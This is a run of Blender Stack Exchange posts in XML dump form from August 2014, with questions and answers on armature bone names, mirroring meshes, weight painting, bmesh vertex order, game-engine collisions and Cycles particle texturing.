  <row Id="14618" PostTypeId="2" ParentId="14610" CreationDate="2014-08-01T13:52:44.027" Score="1" Body="&lt;p&gt;In the script, &quot;Blender: 2.43&quot; is listed as the version. There have been major changes to the blender API in 2.5+. That addon will not run in anything higher then 2.49b unless you convert it.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-01T13:52:44.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14619" PostTypeId="1" AcceptedAnswerId="14620" CreationDate="2014-08-01T15:20:23.170" Score="4" ViewCount="6475" Body="&lt;p&gt;For example I have imported a dota 2 3d hero model and I need to attach my item to a particular bone but I cannot see the names of each of the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to enable display of the bone name?&lt;/p&gt;&#xA;" OwnerUserId="5417" LastEditorUserId="2217" LastEditDate="2014-08-01T20:22:34.637" LastActivityDate="2014-08-02T10:25:37.790" Title="How to show the names of each bone on an armature?" Tags="&lt;3d-view&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14620" PostTypeId="2" ParentId="14619" CreationDate="2014-08-01T15:24:58.253" Score="8" Body="&lt;p&gt;With your armature selected you can go to the 'Armature' tab of the properties area and you can enable the 'Names' property in the 'Display' section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LM5va.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-01T15:24:58.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14622" PostTypeId="2" ParentId="14612" CreationDate="2014-08-01T15:38:52.613" Score="-1" Body="&lt;p&gt;Check out Andrew Price's article on eliminating fireflies.  He lists 7 settings that reduce their appearance.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blenderguru.com/articles/7-ways-get-rid-fireflies/#.U9uiPWP1v8s&quot; rel=&quot;nofollow&quot;&gt;Link to Article&lt;/a&gt;&#xA;&lt;p&gt;If that doesn't work, try adding a &lt;i&gt;Despeckle&lt;/i&gt; node to your compositor pipeline.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-08-01T15:38:52.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14623" PostTypeId="1" CreationDate="2014-08-01T16:25:55.490" Score="2" ViewCount="531" Body="&lt;p&gt;I am trying to calculate the axes of largest variances of an object's points. As you might know, the eigenvectors of the covariance matrix of the points should yield the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a cube (which is made out of 8 evenly spread points) I would therefore expect to get the three axes of the cube. However, this is only the case when I did not rotate the cube, but when I do, my method yields axes that are not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some code I use to calculate the axes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy&#xA;from numpy import linalg as LA&#xA;vertices = bpy.context.active_object.data.vertices&#xA;matrix_world = bpy.context.active_object.matrix_world&#xA;verticesArray = numpy.zeros((3,len(vertices)))&#xA;counter = 0&#xA;for v in vertices:&#xA;     world_coord = matrix_world * v.co&#xA;     verticesArray[0,counter]= world_coord[0]&#xA;     verticesArray[1,counter] = world_coord[1]&#xA;     verticesArray[2,counter] = world_coord[2]&#xA;     counter = counter + 1&#xA;convMat = numpy.cov(verticesArray)&#xA;eigenvalues, eigenvectors = LA.eig(convMat)       # the eigenvectors determine the axes I want&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, I firstly transform all vertices to world coordinates. I guess somewhere there has to be an error that does not account for the rotation or something...&#xA;Do you have an idea what I am missing?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastActivityDate="2014-08-04T10:36:22.007" Title="Calculating the covariance matrix of an object's points - Rotation of an object" Tags="&lt;objects&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14626" PostTypeId="2" ParentId="14612" CreationDate="2014-08-01T19:43:53.403" Score="2" Body="&lt;p&gt;Try decreasing the &lt;em&gt;Step size&lt;/em&gt; in the material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RN8T1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will increase render time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-01T19:43:53.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14627" PostTypeId="1" CreationDate="2014-08-01T20:36:28.143" Score="2" ViewCount="889" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gb0vk.png&quot; alt=&quot;enter image description here&quot;&gt;In B2.69, with Shading Smooth &amp;amp; Multitexture + Matcap and 3D view selected as solid, my model looks fine while running animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to 2.71 and with those same settings my model looks very blocky. I tried tweaking the edge/face/vert shading settings and everything else I could think of but got no where, the model in animation view looked really blocky like all the edges were very hard.  This is not just Flat v Smooth shader, I toggled those but even in Smooth it was pretty bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uninstalled and re-installed B2.69 and it's good again, so I'm dropping by to ask if this is a possible bug or some setting in the B2.71 I missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: B269 pic uploaded; Windows 7 pro&lt;img src=&quot;https://i.stack.imgur.com/ZLpxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="5450" LastEditDate="2014-08-01T20:44:19.607" LastActivityDate="2014-10-03T06:51:31.213" Title="Matcap &amp; smooth shading in Blender 2.71 very blocky v. 2.69" Tags="&lt;3d-view&gt;&lt;matcaps&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14628" PostTypeId="1" AcceptedAnswerId="14644" CreationDate="2014-08-01T20:36:35.883" Score="1" ViewCount="2694" Body="&lt;p&gt;I have a static bullet with the collision bounds set to a cube. I also have a static target with the collision bounds set to cube.&lt;br&gt;&#xA;my bullet has the following logic setup:  &lt;img src=&quot;https://i.stack.imgur.com/uc12O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;my target has this logic setup:  &lt;img src=&quot;https://i.stack.imgur.com/tdHiA.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have very basic logic, and it works if I set my bullet to rigid body or dynamic.&#xA;however, if I set my bullet to static, when I start the game engine, the bullet passes through the target and out the other side with the target remaining in place. Why is it that static objects can't detect collisions with other static objects?&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="2217" LastEditDate="2014-08-01T20:38:43.357" LastActivityDate="2015-06-14T02:33:38.157" Title="Why don't static objects detect collisions with other static objects?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14629" PostTypeId="1" CreationDate="2014-08-01T22:37:16.687" Score="4" ViewCount="1171" Body="&lt;p&gt;When I try to add weight paint it does not do anything, but when I subtract it works fine. How can I add weight paint for my rig?&lt;/p&gt;&#xA;" OwnerUserId="5418" LastEditorDisplayName="user1853" LastEditDate="2014-08-02T03:41:02.753" LastActivityDate="2014-08-02T03:41:02.753" Title="Weight paint, I can subtract but can't add" Tags="&lt;animation&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14630" PostTypeId="2" ParentId="14629" CreationDate="2014-08-01T22:57:47.283" Score="3" Body="&lt;p&gt;Hit &lt;kbd&gt;T&lt;/kbd&gt; to open up your brush settings. Chose the draw brush:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oQNFR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/okqIVm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the Weight to 1, and the strength to 1. Also set the blend to Mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oQNFR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oQNFRm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;em&gt;Click Images to view larger versions&lt;/em&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-01T23:04:42.687" LastActivityDate="2014-08-01T23:04:42.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14631" PostTypeId="1" AcceptedAnswerId="14632" CreationDate="2014-08-02T01:26:15.207" Score="3" ViewCount="2095" Body="&lt;p&gt;&lt;strong&gt;One eye of model doesn't follow head&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bit of a problem with a &quot;4 Piece Model&quot;, &quot;Head, Body, Eyes, Hair, and Teeth&quot;. I hope someone can be of assistance while the &quot;Eye's&quot; appear as a pair and don't act as a pair. Upon selecting the eyes in object mode they both highlight as a pair with a single click of one eye and then after shift selecting the models head and choosing &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt; &gt; &quot;BONE&quot; the parent only applies to one eye and the left eye doesn't move with the head and rig movements? There is no lattice or such, or any such tracking.&lt;/p&gt;&#xA;" OwnerUserId="3313" LastEditorUserId="2217" LastEditDate="2014-11-03T23:46:59.933" LastActivityDate="2014-11-03T23:46:59.933" Title="One eye of model doesn't follow head?" Tags="&lt;objects&gt;&lt;armature&gt;&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14632" PostTypeId="2" ParentId="14631" CreationDate="2014-08-02T01:45:53.123" Score="2" Body="&lt;p&gt;&lt;strong&gt;Your eyes are incorrectly weight painted&lt;/strong&gt;. To fix this, Selected to vertex group &lt;em&gt;DEF-head&lt;/em&gt; and go into edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;). Select all your vertices (&lt;kbd&gt;A&lt;/kbd&gt;) and Hit Assign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8cuud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-02T01:45:53.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14634" PostTypeId="1" AcceptedAnswerId="14685" CreationDate="2014-08-02T04:22:47.127" Score="10" ViewCount="73271" Body="&lt;p&gt;Is there a way to mirror an object without using the mirror modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a left foot that I want to make into a right foot. I use the mirror modifier and it uses a crooked bounding box and completely ruins my foot. Even when I re-align the crooked foot, it is causing issues in the platform I'm exporting it to. So I'm wondering if there's some way I could duplicate the left foot and somehow flip it so that it &quot;mirrors&quot; the other foot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X1mXY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please ignore the flat feet there, I need them for when I transfer weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZ1Hh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicate the foot so that I don't mess up all the work I've ALREADY done over and over, and move it to another scene. This is the foot I want to mirror so that I may create a perfect opposite for the other leg. Something goes wonky when I do that. It mirrors with a bounding box even when I use empty. This causes me to have to re-align the mirrored foot. Something else is happening too because when I rez the mirrored foot alone in Second Life, it really acts weird. The original foot can be rezzed in world with no problems. This makes me feel like it's the mirror modifier that's causing all my troubles but I'm really not sure.&#xA;Here is the crooked mirrored image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kIDD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the bounding box, where it shows it's crooked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YPmfD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5213" LastEditorUserId="5213" LastEditDate="2014-08-03T06:39:02.877" LastActivityDate="2018-11-14T20:21:23.630" Title="Is there a way to mirror an object without using the mirror modifer?" Tags="&lt;mirror&gt;" AnswerCount="7" CommentCount="9" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14635" PostTypeId="2" ParentId="14634" CreationDate="2014-08-02T05:35:33.297" Score="9" Body="&lt;p&gt;You can do this destructively by scaling around the &lt;em&gt;3D Cursor&lt;/em&gt;. Place the &lt;em&gt;3D Cursor&lt;/em&gt; at the center you want to mirror across. Next, choose the axis that you want. Hit &lt;kbd&gt;.&lt;/kbd&gt;, to set the &lt;em&gt;Pivot Point&lt;/em&gt; to the &lt;em&gt;3D Cursor&lt;/em&gt;. Finally scale it by negative 1 along the desired axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt; then &lt;kbd&gt;-1&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="241" LastEditDate="2018-01-11T17:57:19.053" LastActivityDate="2018-01-11T17:57:19.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14636" PostTypeId="1" AcceptedAnswerId="14638" CreationDate="2014-08-02T06:38:10.880" Score="4" ViewCount="1321" Body="&lt;p&gt;I am using Blender 2.71 and Python 3.4.0 and I would like to add a row of vertices in such a way that I can call them using &lt;code&gt;bmesh.verts[]&lt;/code&gt; in the same order that I placed them (or in reverse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have placed them using the for loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for x in range (0,5):&#xA;    bmesh.verts.new((x,0,0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in five vertices in a row starting from the origin. However, the call order for &lt;code&gt;bm.verts[]&lt;/code&gt; is totally muddled. For example, if I then run the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.verts.remove(bm.verts[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the one that disappears is the second from the right. I would expect it to be either the left or right-most vertex. Can anyone explain to me which method Blender uses to store these vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object contains no other vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that when adding four or less the order is sequential from right to left, but something changes at five. Is this something to do with polygons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5456" LastActivityDate="2014-08-02T11:41:59.187" Title="Order of vertices added using Python script and bmesh" Tags="&lt;python&gt;&lt;vertices&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14637" PostTypeId="1" CreationDate="2014-08-02T06:49:10.730" Score="2" ViewCount="1329" Body="&lt;p&gt;Basically, I have created a hair systerm, using a mesh object (feathers) instead of strands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my bird (emitter object) is a multicolored image, which I want my feathers to inherit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender internal, this could easily be done by setting the image texture to use &quot;object&quot; coordinates, and I could select my bird-emitter as the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in cycles, both using nodes (input&gt;texture coordinates&gt;object) and the synonymous procedure in the texture panel, the object coordinate system seems to be dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is, the word &quot;object&quot; is there as an option for a coordinate system, but &lt;strong&gt;nowhere&lt;/strong&gt; can i find a way to select which object's coordinate system I would like!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First and foremost, I would like to know &lt;strong&gt;if there is even a way&lt;/strong&gt; to use object coordinated in cycles!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barring that, how might I make my hair particle mesh objects inherit their diffuse color from the surface of their emitter? With strands, the process is automatic. However, with mesh objects, I cannot figure out how to do it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!!&lt;/p&gt;&#xA;" OwnerUserId="5458" LastEditorUserId="3127" LastEditDate="2014-08-02T06:54:44.383" LastActivityDate="2019-01-12T00:39:07.323" Title="Can Cycles nodes use &quot;object coordinates&quot; like blender internal? (or: how can hair-mesh-objects inherit their emitter's texture)?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;objects&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14638" PostTypeId="2" ParentId="14636" CreationDate="2014-08-02T09:02:21.937" Score="2" Body="&lt;p&gt;Short answer is no, however...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BMesh only ensure vertices are added in-order when they are added to a newly created (or converted) mesh (which is OK for importers and geometry generators).&#xA;Once vertices are removed you cant rely on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best use a list of your own to keep a reference to vertices added if you need this.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sorting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;if your really need to ensure some order, you can sort verts using the same method used with Python lists eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.verts.sort(key=lambda v: v.co.x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it would be inefficient to sort vertices every time you add once.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-08-02T11:41:59.187" LastActivityDate="2014-08-02T11:41:59.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14639" PostTypeId="1" CreationDate="2014-08-02T09:09:05.720" Score="3" ViewCount="1854" Body="&lt;p&gt;I was wondering if I can change order of objects because of my animation exporter script only exports their transformation data with their index number -not names. I do it for efficiency in my game, in that way instead of using dictionary classes I use arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried copying, deleting then pasting back but it didn't work. I need a simple way of doing this but if someone can show me a script to reorder it's also appropriate.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastEditorUserId="241" LastEditDate="2014-08-02T12:21:59.837" LastActivityDate="2015-07-15T18:21:13.203" Title="How to change object orders?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14640" PostTypeId="1" AcceptedAnswerId="14664" CreationDate="2014-08-02T09:20:36.223" Score="2" ViewCount="6045" Body="&lt;p&gt;I am making an animated character with body armour, which is a separate mesh than the character's mesh. I animated my character with a simple walk animation, but the piece of armour is not moving, &lt;a href=&quot;https://dl.dropboxusercontent.com/u/248943005/chManual/Charact.mov&quot; rel=&quot;nofollow&quot;&gt;watch this clip&lt;/a&gt;. How do I attach the body armour's mesh to the character's mesh, so that it moves along with the animated character chest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender file is &lt;a href=&quot;https://dl.dropboxusercontent.com/u/248943005/chManual/manual18.blend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5409" LastEditorDisplayName="user1853" LastEditDate="2014-08-04T06:45:50.320" LastActivityDate="2016-08-24T06:55:18.853" Title="Animating separate objects with the same armature" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14641" PostTypeId="2" ParentId="14639" CreationDate="2014-08-02T09:47:55.177" Score="4" Body="&lt;p&gt;No, if you rely on a specific order you will have to sort on export.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-02T09:47:55.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14642" PostTypeId="1" CreationDate="2014-08-02T10:12:35.670" Score="-2" ViewCount="1221" Body="&lt;p&gt;I'm new to blender and l have a question recently l started making a 3d model well l tried to recreate a model from Star Wars The Old Republic well I'm trying to recreate this guy in blender:&lt;img src=&quot;https://i.stack.imgur.com/ZlxMd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and my goal is to learn animation and be a successful 3D artist because it's my very great dream to be 3d artist and here is the progress with the model : &lt;img src=&quot;https://i.stack.imgur.com/YgcbL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And please help if someone can because l can't figure out how l can create walking animation and running animation too and how to make the camera to rooted around the model and also when you are done with the animation how you can save it as a video and please help because it's my long dream to be a great 3D artist and l just really want to known and please someone can please help !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S Sorry for the bad English I'm a Lithuanian&lt;/p&gt;&#xA;" OwnerUserId="5460" LastEditorUserId="2217" LastEditDate="2014-08-02T13:32:42.840" LastActivityDate="2014-08-02T13:56:58.090" Title="Running and walking animation?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;rigging&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-08-02T16:24:28.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="14643" PostTypeId="2" ParentId="14619" CreationDate="2014-08-02T10:25:37.790" Score="0" Body="&lt;p&gt;While having the name shown can be helpful, it can still be hard to find a bone and impossible if the bone is hidden. Same applies to other objects for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using the outliner you can easily search for an item by name. Items matching the search terms are highlighted in green, with only the parents of matching items remaining visible in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qDYOA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we find thigh.L and thigh.R - We can see that thigh.R is hidden as the eye icon is not visible. By clicking on the name we have selected thigh.L, the bone layers show a yellow dot that the selected bone is on and that bone layer is not currently visible.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-02T10:25:37.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14644" PostTypeId="2" ParentId="14628" CreationDate="2014-08-02T10:50:15.743" Score="1" Body="&lt;p&gt;It is that way by design - most likely for performance. See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Physics/Object/Static&quot; rel=&quot;nofollow noreferrer&quot;&gt;Static Physics Object&lt;/a&gt; page.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Static objects in the Blender Game Engine do not automatically react to physics, including gravity and collisions. Even if hit by the force of a speeding 18-wheeler truck, it will remain unresponsive in terms of location, rotation, or deformation.&lt;/p&gt;&#xA;&lt;p&gt;It will, however, give collision reactions. Objects will bounce off of Static Objects, and rotational inertia will transfer to objects capable of rotating (that is, Rigid Body Objects will spin in response, though Dynamic Objects will not).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-02T10:50:15.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14645" PostTypeId="2" ParentId="14637" CreationDate="2014-08-02T11:40:30.250" Score="0" Body="&lt;p&gt;For the object/s used as particles you can give them a material and use a particle info node as vector input to an image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PYdiw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this doesn't just match up with the underlying object material it gives you control of what colour is used for each particle based on its location on the emitter. Projection painting may be an easy way to transfer the colour from one texture to another.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-02T11:40:30.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14646" PostTypeId="2" ParentId="14642" CreationDate="2014-08-02T11:55:24.690" Score="1" Body="&lt;p&gt;In order to create an animation such as walking you need to do some 'Rigging'.&#xA;There are plenty of tutorials on this. Try to search on Youtube for things such as 'Blender character rigging' and you should get a lot of good results. Don't think about rigging until you've finished your model, though. You must make sure you model correctly. As you're new to Blender you will end up modeling in a difficult way, which is what most people do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you download a low poly character model and practice on that. But I highly recommend you look at many different tutorials on character modeling, rigging and topology; the latter is very important. It also makes the Rigging process a lot easier. It'll take time but you've got to be willing to learn everything there is to know, if you want to be a good CG artist; it's a tough business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites like &lt;a href=&quot;http://blenderguru.com&quot; rel=&quot;nofollow&quot;&gt;Blenderguru&lt;/a&gt; and &lt;a href=&quot;http://cgcookie.com/blender/&quot; rel=&quot;nofollow&quot;&gt;Blender Cookie&lt;/a&gt; are a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="241" LastEditDate="2014-08-02T13:56:58.090" LastActivityDate="2014-08-02T13:56:58.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14647" PostTypeId="1" CreationDate="2014-08-02T13:09:49.370" Score="2" ViewCount="134" Body="&lt;p&gt;I just needed to know the way of developing native cycles shaders (closures).&#xA;So, if I change, for example diffuse closure(another implementation of roughness), will I need to recompile Blender from source? Is that right?&lt;/p&gt;&#xA;" OwnerUserId="2439" LastEditorUserId="2217" LastEditDate="2014-08-02T13:30:15.397" LastActivityDate="2014-08-02T13:34:15.787" Title="Do I need to recompile blender when changing C++ Shaders for Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14648" PostTypeId="2" ParentId="14647" CreationDate="2014-08-02T13:12:43.793" Score="2" Body="&lt;p&gt;This is correct, C++ shaders in Cycles require rebuilding Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that OpenShadingLanguage is compiled using LLVM, so it should yield fairly good performance and doesn't require rebuilding Blender,&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-02T13:12:43.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14649" PostTypeId="2" ParentId="14637" CreationDate="2014-08-02T13:30:52.800" Score="1" Body="&lt;p&gt;I have managed to answer my own specific question, but not the more general question. I will explain, but I hope that someone may be able to answer the general form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To specifically answer my question, deriving the color of a particle hair MESH from its underlying emitter object (in this case, a feather mesh being colored by the bird's texture) in CYCLES (not Blender Internal), I found resolution in Blender Cookie/Kent Trammel's &quot;Piero&quot; tutorial series (video: body feathers #3), with clarification from a previous Blender developer bug-fix request (found here: &lt;a href=&quot;https://developer.blender.org/T40712&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T40712&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To derive a particle mesh's diffuse texture from an underlying emitter in Cycles, in the hair's material nodes, add a Texture Coordinate (add &gt; input ) menu, and then an Image texture, as per normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the key difference is on the Texture Coordinate tab, you have to click &quot;From Dupli&quot;, and as the texture image itself, you must select the texture from the underlying emitter. This info is from Kent Trammel's tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT! There is one more issue that can drive someone crazy. Due to some ambiguity in the underlying code in the past few incarnations of Blender (I am using 2.7), the results of &quot;From Dupli&quot; will NOT show up in a preview render. To see the results, a &quot;real&quot; F12 render must be performed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this is the specific answer to the above question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the general question of &quot;object coordinates&quot; remains open, and that is an issue that goes far beyond particles and emitters, toward texturing objects with other objects, or, for instances, controlling texture placement with an Empty.&lt;/p&gt;&#xA;" OwnerUserId="5462" LastActivityDate="2014-08-02T13:30:52.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
